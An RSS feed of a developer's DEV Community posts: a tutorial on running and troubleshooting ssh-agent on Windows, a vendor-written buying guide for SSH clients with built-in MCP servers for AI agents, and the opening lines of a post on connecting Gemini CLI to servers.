<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Svyatoslav Pavlov</title>
    <description>The latest articles on DEV Community by Svyatoslav Pavlov (@wolfhound1995).</description>
    <link>https://dev.to/wolfhound1995</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4060150%2Fade29fc0-19eb-4bbf-9bf8-0fc51e252710.jpg</url>
      <title>DEV Community: Svyatoslav Pavlov</title>
      <link>https://dev.to/wolfhound1995</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/wolfhound1995"/>
    <language>en</language>
    <item>
      <title>ssh-agent on Windows: start the service, add your keys, fix the errors</title>
      <dc:creator>Svyatoslav Pavlov</dc:creator>
      <pubDate>Tue, 13 Oct 2026 15:21:17 +0000</pubDate>
      <link>https://dev.to/wolfhound1995/ssh-agent-on-windows-start-the-service-add-your-keys-fix-the-errors-5bik</link>
      <guid>https://dev.to/wolfhound1995/ssh-agent-on-windows-start-the-service-add-your-keys-fix-the-errors-5bik</guid>
      <description>&lt;p&gt;You put a passphrase on your SSH key, and now Windows asks for it on every &lt;code&gt;git push&lt;/code&gt; and every &lt;code&gt;ssh&lt;/code&gt;. The fix is the SSH agent — unlock the key once, and every connection after that signs silently. The twist on Windows is that there isn't &lt;em&gt;one&lt;/em&gt; agent. There are three that can be running at the same time, they hold keys in separate places, and a key loaded into one is invisible to the others. Almost every "it worked yesterday" agent problem on Windows is really a &lt;em&gt;wrong agent&lt;/em&gt; problem. So this guide starts by naming them, then gets each one running, then decodes the errors you actually hit.&lt;/p&gt;

&lt;h2&gt;
  
  
  The three agents, and why they don't share keys
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Agent&lt;/th&gt;
&lt;th&gt;Ships with&lt;/th&gt;
&lt;th&gt;Where it listens&lt;/th&gt;
&lt;th&gt;Which &lt;code&gt;ssh&lt;/code&gt; sees it&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;OpenSSH Authentication Agent (a Windows service)&lt;/td&gt;
&lt;td&gt;Windows' native OpenSSH&lt;/td&gt;
&lt;td&gt;named pipe &lt;code&gt;\\.\pipe\openssh-ssh-agent&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;ssh.exe&lt;/code&gt; in &lt;code&gt;C:\Windows\System32\OpenSSH&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;The MSYS2 agent (&lt;code&gt;ssh-agent&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Git for Windows / Git Bash&lt;/td&gt;
&lt;td&gt;a Unix-style socket named by &lt;code&gt;SSH_AUTH_SOCK&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;the &lt;code&gt;ssh&lt;/code&gt; bundled inside Git Bash&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A Linux agent&lt;/td&gt;
&lt;td&gt;inside your WSL distro&lt;/td&gt;
&lt;td&gt;a Unix socket in that distro&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;ssh&lt;/code&gt; running inside WSL&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The lesson from the table: &lt;strong&gt;&lt;code&gt;ssh-add&lt;/code&gt; in Git Bash loads a key into the MSYS2 agent, and the native Windows &lt;code&gt;ssh.exe&lt;/code&gt; will never see it&lt;/strong&gt; — different endpoint, different key store. Pick one agent, load your keys there, and use the matching &lt;code&gt;ssh&lt;/code&gt;. Mixing them is the root cause of most of the confusion below. The &lt;a href="https://termal.in/blog/ssh-agent-ssh-add-guide/" rel="noopener noreferrer"&gt;ssh-agent and ssh-add guide&lt;/a&gt; covers the cross-platform mechanics; this page is the Windows-specific half.&lt;/p&gt;

&lt;h2&gt;
  
  
  The built-in OpenSSH Authentication Agent service
&lt;/h2&gt;

&lt;p&gt;Modern Windows 10 and 11 ship OpenSSH, and with it a Windows service that runs the agent — but it's off by default. Enable it once, from an &lt;strong&gt;elevated&lt;/strong&gt; PowerShell (Run as administrator):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Set-Service&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ssh-agent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-StartupType&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Automatic&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Start-Service&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ssh-agent&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;Automatic&lt;/code&gt; starts it on every boot, so this is a one-time setup. Check the result:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Get-Service&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ssh-agent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Status&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;StartType&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You want &lt;code&gt;Running&lt;/code&gt; and &lt;code&gt;Automatic&lt;/code&gt;. From then on, in a normal (non-Git-Bash) PowerShell or &lt;code&gt;cmd&lt;/code&gt;, &lt;code&gt;ssh-add&lt;/code&gt; talks to this service:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;ssh-add&lt;/span&gt;&lt;span class="w"&gt;                                 &lt;/span&gt;&lt;span class="c"&gt;# load default keys (id_ed25519, id_rsa, …)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;ssh-add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$&lt;/span&gt;&lt;span class="nn"&gt;env&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;USERPROFILE&lt;/span&gt;&lt;span class="nx"&gt;\.ssh\id_ed25519&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c"&gt;# load a specific key&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;ssh-add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-l&lt;/span&gt;&lt;span class="w"&gt;                              &lt;/span&gt;&lt;span class="c"&gt;# list loaded key fingerprints&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;ssh-add -l&lt;/code&gt; is your first diagnostic for any login failure — if the key you expect isn't listed, the agent can't sign with it, whatever else looks right.&lt;/p&gt;

&lt;p&gt;To stop retyping &lt;code&gt;ssh-add&lt;/code&gt;, let the first connection load the key for you. Put this in &lt;code&gt;%USERPROFILE%\.ssh\config&lt;/code&gt; (the same &lt;a href="https://termal.in/blog/ssh-config-file-guide/" rel="noopener noreferrer"&gt;ssh_config file&lt;/a&gt; OpenSSH reads everywhere):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ssh"&gt;&lt;code&gt;&lt;span class="k"&gt;Host&lt;/span&gt; *
    &lt;span class="k"&gt;AddKeysToAgent&lt;/span&gt; &lt;span class="no"&gt;yes&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now the first &lt;code&gt;ssh&lt;/code&gt; that needs a passphrase prompts once and loads the key into the service as a side effect. Because the native Windows &lt;code&gt;git&lt;/code&gt; and &lt;code&gt;ssh&lt;/code&gt; both use this service, &lt;code&gt;git push&lt;/code&gt; starts working silently too.&lt;/p&gt;

&lt;h2&gt;
  
  
  Error 1058: "unable to start the ssh-agent service"
&lt;/h2&gt;

&lt;p&gt;You run &lt;code&gt;Start-Service ssh-agent&lt;/code&gt; and get:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Start-Service : Service 'OpenSSH Authentication Agent (ssh-agent)' cannot be started due to the following error:
Cannot start service ssh-agent on computer '.'.
... error 1058 ...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Error &lt;strong&gt;1058&lt;/strong&gt; means the service is &lt;em&gt;disabled&lt;/em&gt; — Windows won't start a service whose Startup type is &lt;code&gt;Disabled&lt;/code&gt;, and &lt;code&gt;Start-Service&lt;/code&gt; doesn't change that for you. Fix the startup type first, then start it (elevated PowerShell):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Set-Service&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ssh-agent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-StartupType&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Manual&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Start-Service&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ssh-agent&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;Manual&lt;/code&gt; is enough to start it on demand; use &lt;code&gt;Automatic&lt;/code&gt; if you want it up on every boot. If you're on a managed or domain machine, a group policy may have disabled it — in that case your admin has to allow the service before this sticks.&lt;/p&gt;

&lt;h2&gt;
  
  
  "error connecting to agent: No such file or directory"
&lt;/h2&gt;

&lt;p&gt;This one comes from the &lt;strong&gt;Git Bash / MSYS2&lt;/strong&gt; &lt;code&gt;ssh&lt;/code&gt;, not the Windows service. It means that &lt;code&gt;ssh&lt;/code&gt; was told where to find an agent socket — via &lt;code&gt;SSH_AUTH_SOCK&lt;/code&gt; — and nothing is there. Two common causes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;No agent is running in this shell.&lt;/strong&gt; Git Bash doesn't start one for you. Start it in the shell you're using:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;  &lt;span class="nb"&gt;eval&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;ssh-agent &lt;span class="nt"&gt;-s&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
  ssh-add ~/.ssh/id_ed25519
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;eval&lt;/code&gt; matters: &lt;code&gt;ssh-agent -s&lt;/code&gt; only &lt;em&gt;prints&lt;/em&gt; the variables; the &lt;code&gt;eval&lt;/code&gt; sets them so &lt;code&gt;ssh&lt;/code&gt; can find the socket. Running &lt;code&gt;ssh-agent&lt;/code&gt; bare and wondering why nothing changed is the classic misstep.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;SSH_AUTH_SOCK&lt;/code&gt; is stale.&lt;/strong&gt; A variable set by a previous session, a login profile, or another tool points at a socket that no longer exists. Check it with &lt;code&gt;echo $SSH_AUTH_SOCK&lt;/code&gt;, then either unset it and start a fresh agent, or fix it to point at a live one.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you'd rather use the Windows service from inside Git Bash, call the native binary directly — &lt;code&gt;/c/Windows/System32/OpenSSH/ssh.exe&lt;/code&gt; — instead of the MSYS2 &lt;code&gt;ssh&lt;/code&gt; on your &lt;code&gt;PATH&lt;/code&gt;. Then Git Bash reaches the same keys you loaded into the service, and &lt;code&gt;SSH_AUTH_SOCK&lt;/code&gt; stops mattering.&lt;/p&gt;

&lt;h2&gt;
  
  
  Keys in WSL
&lt;/h2&gt;

&lt;p&gt;WSL is a separate Linux system, so it has its own agent, its own &lt;code&gt;~/.ssh&lt;/code&gt;, and its own &lt;code&gt;SSH_AUTH_SOCK&lt;/code&gt;. Keys loaded on the Windows side are not visible inside your distro, and vice versa. You have two honest choices:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Run an agent inside WSL&lt;/strong&gt; the ordinary Linux way — &lt;code&gt;eval "$(ssh-agent -s)"&lt;/code&gt; and &lt;code&gt;ssh-add&lt;/code&gt;, or &lt;code&gt;AddKeysToAgent yes&lt;/code&gt; in the distro's &lt;code&gt;~/.ssh/config&lt;/code&gt;. Simple, fully isolated, and covered in the &lt;a href="https://termal.in/blog/ssh-agent-ssh-add-guide/" rel="noopener noreferrer"&gt;ssh-add guide&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Bridge to the Windows agent&lt;/strong&gt; so both worlds share one key store. The usual recipe pipes the Windows named pipe into a Unix socket that WSL's &lt;code&gt;SSH_AUTH_SOCK&lt;/code&gt; points at, using &lt;code&gt;npiperelay.exe&lt;/code&gt; together with &lt;code&gt;socat&lt;/code&gt;. It works well once set up, but it's extra moving parts — reach for it only if you genuinely need the same key on both sides.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Whichever you pick, remember that &lt;code&gt;ssh-add -l&lt;/code&gt; inside WSL is a &lt;em&gt;different question&lt;/em&gt; from &lt;code&gt;ssh-add -l&lt;/code&gt; in PowerShell. Ask the right one when you debug.&lt;/p&gt;

&lt;h2&gt;
  
  
  When the agent is fine but login still fails
&lt;/h2&gt;

&lt;p&gt;If &lt;code&gt;ssh-add -l&lt;/code&gt; shows your key and the server still says &lt;code&gt;Permission denied (publickey)&lt;/code&gt;, the agent has done its job — the problem moved downstream to the server's &lt;code&gt;authorized_keys&lt;/code&gt;, the wrong user, or the wrong key being offered. That's a separate checklist: &lt;a href="https://termal.in/blog/ssh-permission-denied-publickey/" rel="noopener noreferrer"&gt;Permission denied (publickey), fixed in order&lt;/a&gt;. And before you forward the agent to a remote box with &lt;code&gt;ssh -A&lt;/code&gt;, read why &lt;a href="https://termal.in/blog/ssh-agent-forwarding-risks/" rel="noopener noreferrer"&gt;agent forwarding is convenient and dangerous&lt;/a&gt; — it exposes live use of your keys on the far end.&lt;/p&gt;

&lt;h2&gt;
  
  
  How Termalin handles this on Windows
&lt;/h2&gt;

&lt;p&gt;If juggling services, sockets and three key stores is more than you want to think about, that's the workflow &lt;a href="https://termal.in/features/" rel="noopener noreferrer"&gt;Termalin&lt;/a&gt; builds in. It runs its own key agent on a Windows named pipe, &lt;code&gt;\\.\pipe\termalin-ssh-agent&lt;/code&gt;, and serves the keys you've already unlocked in the app over the &lt;strong&gt;standard ssh-agent protocol&lt;/strong&gt; — so a tool that speaks that protocol can sign through it with no OS service to enable, no &lt;code&gt;eval&lt;/code&gt; line, and no manual &lt;code&gt;ssh-add&lt;/code&gt;. The private keys stay in the running app and are never written to disk. The point of that agent is to let Termalin's own &lt;a href="https://termal.in/mcp/" rel="noopener noreferrer"&gt;MCP server&lt;/a&gt; authenticate to your servers with your keys &lt;strong&gt;without ever holding the key material itself&lt;/strong&gt; — the agent signs, the caller never sees the secret. It's the same one-unlock idea as the OpenSSH service, with the Windows setup taken off your plate.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Termalin is a free, cross-platform SSH client whose built-in agent unlocks your keys once and signs on your behalf — &lt;a href="https://termal.in/download/" rel="noopener noreferrer"&gt;download it&lt;/a&gt;, or read how it &lt;a href="https://termal.in/security/" rel="noopener noreferrer"&gt;handles your keys safely&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ssh</category>
      <category>sshagent</category>
      <category>windows</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>The best SSH client with a built-in MCP server (2026 buying guide)</title>
      <dc:creator>Svyatoslav Pavlov</dc:creator>
      <pubDate>Thu, 08 Oct 2026 16:57:37 +0000</pubDate>
      <link>https://dev.to/wolfhound1995/the-best-ssh-client-with-a-built-in-mcp-server-2026-buying-guide-3eke</link>
      <guid>https://dev.to/wolfhound1995/the-best-ssh-client-with-a-built-in-mcp-server-2026-buying-guide-3eke</guid>
      <description>&lt;p&gt;&lt;em&gt;Five checks for an SSH client with a built-in MCP server: key custody, per-host policy, a hosted endpoint, live oversight, platforms. How Termalin scores.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;"SSH client with a built-in MCP server" is a young category, and it's easy to be sold the wrong thing. A lot of what ships under that banner is a thin wrapper: an &lt;code&gt;ssh_exec&lt;/code&gt; tool with a private key sitting in the wrapper's config. That gets a credential out of the model's context — genuinely worth something — but it stops there, and &lt;em&gt;there&lt;/em&gt; is where most of the risk lives. This guide is about the criteria that separate a demo from something you'd actually leave running, and how to judge any client against them.&lt;/p&gt;

&lt;p&gt;If you want the wide competitive landscape — Termalin, VibeShell, Gumpbox, the hosted proxies and the watch-only iOS apps — that's the &lt;a href="https://termal.in/blog/ssh-clients-for-ai-agents-2026/" rel="noopener noreferrer"&gt;full roundup&lt;/a&gt;. This post is the shorter, sharper version: the five things to check before you commit.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; the client that answers all five is the one whose MCP server &lt;em&gt;is&lt;/em&gt; a key custodian, enforces a per-host command policy, ships both a local binary and a hosted endpoint, and shows you the sessions live. By that bar the recommendation is Termalin — with three honest exceptions (a fully open-source client you can audit line by line, Apple-only native sandboxing, or a Docker/Kubernetes manager) spelled out at the end. Here's how the shapes on the market score:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Option&lt;/th&gt;
&lt;th&gt;Key custody&lt;/th&gt;
&lt;th&gt;Per-host policy&lt;/th&gt;
&lt;th&gt;Hosted endpoint&lt;/th&gt;
&lt;th&gt;Live oversight&lt;/th&gt;
&lt;th&gt;Platforms&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Termalin&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Agent never holds the key — the MCP server signs&lt;/td&gt;
&lt;td&gt;Full / allowlist / blocked, per host locally (per API key on the hosted endpoint); a host is only exposed once you tick it&lt;/td&gt;
&lt;td&gt;Yes — scoped, expiring API keys (Pro or trial)&lt;/td&gt;
&lt;td&gt;Watch grid for agent-driven tabs + marked, output-only recordings; hosted runs audit-logged&lt;/td&gt;
&lt;td&gt;Windows, macOS, Linux, iOS (+ web)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Thin &lt;code&gt;ssh_exec&lt;/code&gt; wrapper&lt;/td&gt;
&lt;td&gt;No — the key sits in the wrapper's config&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Varies&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Standalone MCP server&lt;/td&gt;
&lt;td&gt;Usually plain key files in the agent's reach&lt;/td&gt;
&lt;td&gt;The good ones take it seriously&lt;/td&gt;
&lt;td&gt;It &lt;em&gt;is&lt;/em&gt; headless — runs anywhere&lt;/td&gt;
&lt;td&gt;No — logs after the fact, if configured&lt;/td&gt;
&lt;td&gt;Anywhere headless&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hosted SSH proxy&lt;/td&gt;
&lt;td&gt;Credentials sit in the connection path&lt;/td&gt;
&lt;td&gt;Per-command policy mid-connection&lt;/td&gt;
&lt;td&gt;Yes — it's a hosted service&lt;/td&gt;
&lt;td&gt;Approvals mid-connection&lt;/td&gt;
&lt;td&gt;A service, not a client&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;macOS/iOS-only watcher&lt;/td&gt;
&lt;td&gt;Keychain-held&lt;/td&gt;
&lt;td&gt;Varies&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Consent sheet per action&lt;/td&gt;
&lt;td&gt;Apple only&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  1. Who holds the key — and can the agent ever read it?
&lt;/h2&gt;

&lt;p&gt;The first question, and the one every option answers differently. Pasting a key into the agent's environment is &lt;a href="https://termal.in/blog/agent-ssh-access-blast-radius/" rel="noopener noreferrer"&gt;the one move you can't take back&lt;/a&gt;: once the bytes have passed through a model's context, a transcript, or a tool call you didn't read, you can't prove they didn't leak. The bar to look for is a &lt;strong&gt;key custodian&lt;/strong&gt;: the agent asks, and something you control does the authenticating — you unlock once, the client signs on the agent's behalf, and there's no key file for the agent to read at all. Ask of any client: &lt;em&gt;if this agent's context leaks tomorrow, is a credential in it?&lt;/em&gt; If the answer is yes, keep looking.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Can you bound what the agent runs — per host?
&lt;/h2&gt;

&lt;p&gt;Key custody is necessary and not sufficient. A custodian that hands over an unrestricted shell has solved custody and left the &lt;a href="https://termal.in/blog/per-host-command-allowlists-for-ai-agents/" rel="noopener noreferrer"&gt;blast radius&lt;/a&gt; wide open. What you want is a &lt;strong&gt;per-host command policy&lt;/strong&gt;: each host set to full, an allowlist of commands, or blocked, enforced &lt;em&gt;before&lt;/em&gt; a command runs — not a setting the agent is trusted to honor. This is the difference between "the agent has a shell on my fleet" and "the agent may run these commands, on these hosts, and nothing else."&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Does it work when your desktop isn't running?
&lt;/h2&gt;

&lt;p&gt;A local MCP server (a stdio binary the agent launches) is the right default for an agent on your laptop. But agents increasingly run where you aren't — CI jobs, cloud sandboxes, chat assistants like &lt;a href="https://termal.in/claude-ssh/" rel="noopener noreferrer"&gt;claude.ai&lt;/a&gt; and &lt;a href="https://termal.in/chatgpt-ssh/" rel="noopener noreferrer"&gt;ChatGPT&lt;/a&gt;. For those you need a &lt;strong&gt;hosted endpoint&lt;/strong&gt;: an HTTPS URL the agent reaches with a scoped, expiring API key, that connects to your servers keyless (a short-lived certificate, not a standing key) with no desktop running anywhere. A client that only offers the local binary can't help an agent in &lt;a href="https://termal.in/blog/agent-ssh-access-in-ci-cd/" rel="noopener noreferrer"&gt;CI/CD&lt;/a&gt;. One that offers both covers the whole range.&lt;/p&gt;

&lt;h2&gt;
  
  
  4. Can you see what it did — and prove it later?
&lt;/h2&gt;

&lt;p&gt;An agent's summary of its own work is not a record; it's a statement by the thing being audited. Look for two things: &lt;strong&gt;live oversight&lt;/strong&gt; — a view where sessions the agent is driving are visible as they happen, so you can step in — and an &lt;strong&gt;audit trail made outside the agent&lt;/strong&gt;, where its commands are &lt;a href="https://termal.in/blog/audit-what-an-ai-agent-does-on-your-servers/" rel="noopener noreferrer"&gt;marked as the agent's&lt;/a&gt;, with host, device and time, and session output is recorded (output only — a client that records keystrokes has built a keylogger, not an audit log). "What did the agent do at 2 a.m.?" should be a filter you apply, not a story you reconstruct.&lt;/p&gt;

&lt;h2&gt;
  
  
  5. Does it run where you do?
&lt;/h2&gt;

&lt;p&gt;Mundane, but it eliminates options fast. Several agent-SSH tools are single-platform (macOS/iOS only, or one desktop OS). If your fleet is managed from a mix of Windows, macOS and Linux — and increasingly a phone — a client that only exists on one of them isn't a contender, however good its agent story.&lt;/p&gt;

&lt;h2&gt;
  
  
  How Termalin scores against its own checklist
&lt;/h2&gt;

&lt;p&gt;We built &lt;a href="https://termal.in/mcp/" rel="noopener noreferrer"&gt;Termalin&lt;/a&gt; to answer all five, so here's the honest scorecard:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Key custody&lt;/strong&gt; — the built-in MCP server &lt;em&gt;is&lt;/em&gt; the custodian. You unlock once; it signs on the agent's behalf; no key ever reaches the agent or the model.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Per-host policy&lt;/strong&gt; — locally, a host is only exposed to the agent once you tick it, and each exposed host is full, an allowlist, or blocked, enforced at the point the agent asks. On the hosted endpoint the same three levels are set per API key, and AI access can be switched off per server.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Local &lt;em&gt;and&lt;/em&gt; hosted&lt;/strong&gt; — a bundled &lt;code&gt;termalin-mcp&lt;/code&gt; binary for agents on your machine (&lt;a href="https://termal.in/blog/connect-claude-code-to-your-server-over-ssh/" rel="noopener noreferrer"&gt;Claude Code&lt;/a&gt;, &lt;a href="https://termal.in/blog/cursor-ssh-access-for-agents/" rel="noopener noreferrer"&gt;Cursor&lt;/a&gt;, &lt;a href="https://termal.in/blog/connect-codex-to-your-server-over-ssh/" rel="noopener noreferrer"&gt;Codex&lt;/a&gt;, &lt;a href="https://termal.in/blog/connect-gemini-cli-to-your-server-over-ssh/" rel="noopener noreferrer"&gt;Gemini&lt;/a&gt;), plus a hosted endpoint (on Pro, or the 14-day trial) with scoped, expiring API keys for CI, cloud sandboxes, and the claude.ai / ChatGPT connectors.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Oversight&lt;/strong&gt; — a live &lt;a href="https://termal.in/watch-grid/" rel="noopener noreferrer"&gt;watch grid&lt;/a&gt; where terminal tabs an agent drives glow, output-only recordings of those tabs with each agent command marked, and on the hosted endpoint an audit log of every run: server, login, command, exit code and time. (Headless &lt;code&gt;ssh_exec&lt;/code&gt; calls from the local binary open no tab and aren't audit-logged yet.)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Platforms&lt;/strong&gt; — Windows, macOS, Linux and iOS (iPhone, iPad, Apple Watch), plus a browser cabinet for anything else.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Where it isn't the answer:&lt;/strong&gt; if you need a fully open-source client you can audit line by line, Termalin isn't that (it's a company product, source-available in parts). If your agent work is Apple-only and you want the tightest native sandboxing on the target, a macOS/iOS-only tool may fit better. And Termalin is deliberately an SSH-focused client, not a Docker/Kubernetes/hypervisor manager — if that browsing is the point, a tool built for it will go deeper. The &lt;a href="https://termal.in/blog/ssh-clients-for-ai-agents-2026/" rel="noopener noreferrer"&gt;landscape post&lt;/a&gt; lays those trade-offs out in a table, including recommendations against ourselves.&lt;/p&gt;

&lt;h2&gt;
  
  
  The short version
&lt;/h2&gt;

&lt;p&gt;If you're choosing an SSH client to give AI agents server access, don't stop at "it has an MCP server." Check that the agent never holds the key, that you can bound what it runs per host, that it works with no desktop for CI and chat agents, that you can watch and audit it, and that it runs on your platforms. A tool that does all five is one you can leave running; a tool that only checks the first is a demo you'll have to babysit.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Termalin is a cross-platform SSH client whose built-in MCP server is a key custodian with per-host policy, a live watch grid and an agent-tagged audit log — &lt;a href="https://termal.in/download/" rel="noopener noreferrer"&gt;download it&lt;/a&gt;, or read the &lt;a href="https://termal.in/security/" rel="noopener noreferrer"&gt;security model&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>mcp</category>
      <category>ssh</category>
      <category>ai</category>
      <category>security</category>
    </item>
    <item>
      <title>Connect Google's Gemini CLI to your servers over SSH — safely</title>
      <dc:creator>Svyatoslav Pavlov</dc:creator>
      <pubDate>Wed, 07 Oct 2026 20:23:33 +0000</pubDate>
      <link>https://dev.to/wolfhound1995/connect-googles-gemini-cli-to-your-servers-over-ssh-safely-50eh</link>
      <guid>https://dev.to/wolfhound1995/connect-googles-gemini-cli-to-your-servers-over-ssh-safely-50eh</guid>
      <description>&lt;p&gt;&lt;em&gt;Gemini CLI speaks MCP, so it runs commands and manages files on your servers through Termalin — one entry in ~/.gemini/settings.json, no key handed over.&lt;/em&gt;&lt;/p&gt;

